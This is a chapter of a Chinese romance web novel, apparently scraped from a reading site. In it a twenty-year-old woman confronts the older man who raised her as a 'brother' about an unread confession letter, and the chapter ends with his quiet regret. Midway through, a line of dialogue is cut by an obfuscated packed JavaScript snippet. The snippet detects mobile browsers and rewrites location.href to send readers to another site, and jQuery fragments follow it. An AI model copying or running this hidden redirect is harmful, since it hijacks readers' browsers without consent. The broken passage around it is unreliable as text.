自那个雪夜后，北京又断断续续落过几天雪，但都没有那夜的大，有时清早起来，雪就已化得干净了。


    给自己的嘴快道歉，余平安额外支付余简之一千元，声称这是她的变美资金。


    “你不是想和哥哥重新开始吗？去吧，去当崭新的余简之。”


    白给的钱，不给白不给。余简之第一次烫发，在理发师的推荐下选了慵懒卷，效果出来意外不错，余平安直说从千金小姐变成了混血大小姐。余简之笑说有那么夸张么。


    在余平安的催促下，两人又去外面买了新衣。余平安说她穿得太幼稚，给她搭了一套杏色长裙加红色羊毛斗篷，非常喜庆，她说因为将有喜事发生。


    可真的到了周一那天，余简之又恐惧起来，担心用力过猛，还是穿着平常的衣服。


    -


    航班落地，等待工作人员办完手续，梁怀聿来到停车场。时间不久的外出，他一直习惯自己开车前来，再自行开车回去，为司机省个事。


    贵宾楼停车场空旷安静。宾车将他送到车旁，甫一下车，梁怀聿看见蜷在车旁小小一团的女孩。


    洁白的一团小球，与北京阴沉的冬日是两个色系。


    看到他来，余简之站起身。两个人一时都木然，直到余简之小小地唤了一声：“哥。”直接叫他大名，她还是不大习惯的。


    好冷。


    脚趾在靴子里蜷成一团，手往袖子里缩了缩，还是冷。


    爱美之心短暂战胜了理智，她今日无论如何也不想裹着那件臃肿的羽绒服现身。


    梁怀聿看她一眼，白色长裤，杏色大衣。围巾，手套，帽子，一个不落。裹得严实，但是这才多厚啊。


    她的声音隔着口罩，闷闷的，薄薄的：“哥哥。”


    余简之辨不清梁怀聿的神情。记忆中，他极少将情绪铺陈在脸上。或者说，鲜少有什么事，值得令他开心或恼怒。


    他拉开车门，声音没什么起伏：“上车吧。”


    车内暖气很快驱散寒意，梁怀聿沉默开车，余简之心神不宁，车开出去很远，梁怀聿才说一句话：“你总是穿太少。”


    真的是他管她太严，或者总想指责她吗？


    明明是她总是惹人生气。


    余简之确实被冷得不行，无法反驳他，别扭地说“下次我会多穿点”。


    “等了多久？”


    余简之老实回答：“十来分钟，我找文容哥要了航班信息，估摸着出来的时间等的。”


    “非要跑过来吗？这么远这么冷。”这句多少有点指责的意思。


    余简之有些不高兴了，这么远这么冷，她跑过来，还不好吗？


    “我想见你。”


    梁怀聿不说话了。


    在车内狭小的空间里，余简之后知后觉地紧张起来。说到底她心里还是忍不住把梁怀聿当作长辈看待的——那天她说的话是不是太过分？今天她跑来是不是不太得体？


    小、窄的环境，无疑放大了梁怀聿的疾言厉色，加剧了她的惶恐与不安。


    梁怀聿这个样子，一定是不想好好跟她谈？拒绝的意思？她不觉得预备谈恋爱的一个人会是这个样子。


    等车驶入停车场，余简之又无法确定了。


    这是她常来的家。


    梁怀聿这样的人，名下一定有很多房产，但他似乎不喜欢变动，常常独居在这里。从前每次来北京，余简之都住在这。


    男人会怀念，好似只有一个可能性。


    余简之抬起眼帘：“哥你还住这里么？”


    梁怀聿停车，看后视镜顺带看了眼她：“嗯。”


    “不会还有我小时候的东西在吧？”余简之玩笑般地说，可是一直没有等到男人的回应。


    余简之觉得他好冷淡，自己有点自讨没趣了。


    等进了电梯，梁怀聿才说：“我现在不怎么住这边了，你小时候的东西应该都被阿姨收起来了。如果你想要，还可以找到。”


    屋里几乎还是从前的模样，只有极个别软装改变了。余简之有种回家的亲切感，在心里小小地“哇”了一声。


    她进入自己从前住的那个房间瞧了瞧。房间里几乎没什么变化，没有住人的痕迹，软装被收拾得干净，角落堆了几个箱子。


    “这些是我的东西吗？”


    梁怀聿站在门口看她：“应该是。”


    余简之伸手打开箱子。其实她在北京的时间居住的时间并不长，顶多一个寒假，所以她留在这里的东西也不多的。余简之在箱子里翻了翻，多是些杂志和小说，还有她忘记带回学校的寒假作业。


    等余简之翻完箱子，出来时看见梁怀聿坐在客厅。


    “哥。”


    余简之走过去，慢一拍察觉到热，她摘下围巾。


    梁怀聿这才看清她的秀发，方才被围巾拢着，不曾注意，此刻散开，柔软的波浪卷发披泻在肩头。不再是记忆中顺直的黑发，卷曲的弧度少了几分稚气的乖巧，平添几丝不自知的娇慵与妩媚。


    他半晌没有作声，只是这样望着她。余简之不明所以，下意识抬手撩了撩发梢，心想难道连摘围巾也不行？可是屋子里明明不冷。


    不对，忘了正事。


    她径直开口：“说好周一给我答复的。”


    梁怀聿垂下视线，避开她的目光，起身从她身旁走过。余简之跟在他身后，进了书房。


    他从书架上取出一个白色的纸片。


    看到它，余简之的心直直沉了下去。因为很明显，它是未开启的状态。信封完完整整的，封口没有丝毫拆启的痕迹。


    那抹白色，连同里面薄薄信纸的重量，轻飘飘落在书桌上，她的胸腔却被砸开一块。


    “简之，我没有读它。”他的声音低沉，从很远的地方飘来，“我没有等你。”


    余简之的目光死死追随着信封移动的轨迹，从书架到他的手，再到桌面。她一直紧紧跟随着它，恨不得用视线将它烧穿。


    最后她低下头，拼命咬住嘴唇，感受眼泪一颗一颗积聚、满溢，她拼尽全力想将它们塞回原来的位置，指尖深深掐进掌心。


    “为什么没有读？”


    “简之，二十岁的年龄很美，我不能让你浪费。”


    “我没有浪费！”余简之不理解，“我在读书！”


    她抬起头，眼里蓄满了泪，却又燃着怒火：“所以你就一点不愿意了解我的想法？”


    “简之，我比你年长十岁——”


    “闭嘴！若你真这么想，那么，那天你就什么都不要说！你明明表白了，你明明把我当作一个女人来看！现在却又摆出年长的姿态，用年龄差来教训我吗？”


    梁怀聿沉吟，“抱歉，简之，我很后悔我当时的冲动。”


    余简之愤怒大叫：“后悔就后悔！说过的话你还想回收吗？”


    梁怀聿半侧过身，视线不完全落在她脸上。略微思索后，他开口：


    “二十岁，你面前是整个世界。留学、探索、恋爱、犯错、成长……那是你应得的自由。而我是什么？是一个比你年长十岁，对你负有责任，视你如宝如珠、理应托举你成长的哥哥。我的感情对你而言，只是负担。”


    “你为什么非要把爱想得那么复杂？你敢发誓，你对我没有一点点心思吗？”她的眼泪终于滚落，“你就是这么……这么龌龊的，现在又在这冠冕堂皇！虚伪！”


    “对，我就是龌龊。我最后悔的就是那天对你说了那些——你说得对，我习惯了安排，习惯了以为你好的名义行事，但现实本该如此。现实就是，我比你年长，我被你视作哥哥，我是你人生前半程的监护人和责任人。这份感情，从一开始就建立在不对等的关系上。”


    余简之的嘴唇颤抖着：“你龌龊……难道我就不龌龊了吗？”


    她对他怀有同样的心思，不比他多平静。


    “梁怀聿，我根本就不在乎这些！”


    她直视着他的双眼怒吼。


    梁怀聿身形微动，很快稳住，仿佛那只是一片叶子落入广袤的湖泊，涟漪不过几圈就消失。


    “你以后会在乎的。有朝一日，等你走得更远，见得更多，你会后悔的。”


    话音落下，书房陷入漫长的死寂，唯剩拼命隐忍的抽泣声和沉重压抑的呼吸交织。


    余简之仰头望着他。这个她仰望了这么多年的人，她完全不知感情在何时变质，大约是青春期最梦幻的梦境里。当与同学闲聊起旖旎的幻想，她脑海中浮现的，总是不自觉地换上他的轮廓。她曾以为这是理所当然的，因为她简单的前半生里，只接触过梁怀聿这样一个成熟、骄傲的男人。他太完美。


    直到余平安给出了截然相反的回答。


    他此刻依然成熟，依然骄傲，用最正确的道理，将她推向千里之外。


    “哥哥，你太骄傲了。我不是非得听你不可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314724|197269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，我是成年人了，我可以自己做选择。”


    她一步步走近他，直到两人之间只剩咫尺。书桌为他们隔开最后的距离。


    “你口口声声说怕我后悔，怕毁了我。可你问过我吗？问过我是不是想要彼此坦诚的感情，无论结局如何。你觉得我到底要不要这种被你妥善安排的人生？”


    她从包里掏出银行卡，放在桌上，就压在那封从未开启的信上。


    “还剩三百万，我还给你。剩余两百万，我会在未来连本带利还给你。现在，请你不要再把我当做需要托举的妹妹了，好吗？把我当成一个你刚刚认识、可能会爱上、也可能会拒绝你的，普通的女人，余简之，来重新看待。我们抛弃过往，从头开始，不可以吗？”


    长久的沉默。


    梁怀聿的目光掠过银行卡，掠过信封，最后定格在她倔强含泪的脸上。


    “我抛不开。”


    他如何能抛开？


    十年来每一次见面，他都会惊讶于她的成长。


    “这十年，我几乎看着你一寸一寸长大。”


    他的目光落在她脸上，透过如今的她，看见曾经的小女孩，瘦小的，仰着头叫他哥哥。


    初次见她，他已经成年，往后十年她眼中的他，轮廓已定，变化寥寥。他却是看着她，从瘦弱敏感的小女孩，长成少女，变得明亮鲜活。


    他如何牵起她的手？因为他会回忆起她的手曾在他的掌心那么小。他如何吻她？因为他记得她吃完糖葫芦嘴上满满都是糖浆，他拿纸巾帮她擦过。他如何带着情欲拥抱她？当她用温暖与柔软将他填满，他永远不会忘记初次见面，她还是一只瘦骨伶仃等待拯救的小猫。


    那是他亲手抱起来的生命，是他倾注了十年心血去守护、引导、雕琢的珍宝。


    “你让我把你当作刚刚认识的女人，余简之。”他缓缓开口，充满着浓浓的疲惫，“可我做不到。如果我真的抛开了，那抛开的，就是这十余年里，我对你所有的珍视、陪伴和责任。那样的我，还是你仰望过的、爱着的那个梁怀聿吗？简之，扪心自问，你难道会爱上一个，仅仅被你此刻美丽所吸引的、陌生的男人？”


    “你非要这么较真！”余简之叫道，眼泪再次汹涌，“你敢说你对我没有一丝一毫超越哥哥的感情？没有过哪怕一瞬间的非分之想？梁怀聿，你看着我的眼睛说——你没有吗？”


    “没有。”


    梁怀聿回答毫不犹豫，坚决而果断。


    “你撒谎——”


    “此刻没有。”


    他截断她的话，否认彻底，不留余地。


    “你的爱是琥珀吗？”余简之讥诮道，“我被封存在里面，永远不会长大了？”


    余简之恼怒地抓起银行卡，狠狠摔向他。卡片破开风，发出短促凛冽的声响。


    “还给你。”


    他站在原地，纹丝未动，“简之，你自己留着……”


    余简之冷笑：“你不是后悔当时的冲动吗？好啊，我给你后悔的权利。全都还给你！”


    她转而抓起那封承载了她二十岁全部勇气与真心的信封，这是她二十岁写的字，是她等了四年的话，是她今天本来想好好说给他听的东西。


    她用同样的力道，狠狠地掷向他。冷硬的纸张最为锋利，然而四角已在时光里磨得温钝。


    “我说过永不相见，你不要后悔。”


    余简之决绝地转身，走了出去。门被她用力带上，发出砰然巨响。


    书房里，梁怀聿依旧站在原地，低垂着眼，看着脚边散落的银行卡，和白色信封。


    许久，许久。久到窗外的天光又暗沉了几分，他才极其缓慢地弯下腰，拾起了那封信。


    指尖触到纸张，他捏着它，没有立刻起身，而是就着这个半俯身的姿势，借着窗外最后的天光，仔细地检视着信封。


    前几日他小心地将封口复原，毕竟岁月漫长，多少留下了能被察觉的痕迹。


    余简之太骄傲。


    他太了解她的骄傲，或许因为她多少是看着他的影子长大的，同他太像。


    这骄傲让她在盛怒之下，平日细心敏锐的她，无心注意细枝末节。


    梁怀聿将银行卡和信封收进抽屉。


    进入客厅，他才发现她的围巾搭在沙发上。他拿起它，细腻柔软的羊绒，那天在商场，他看着她买下。


    他深深地掐着它，感受掌心被完全填满。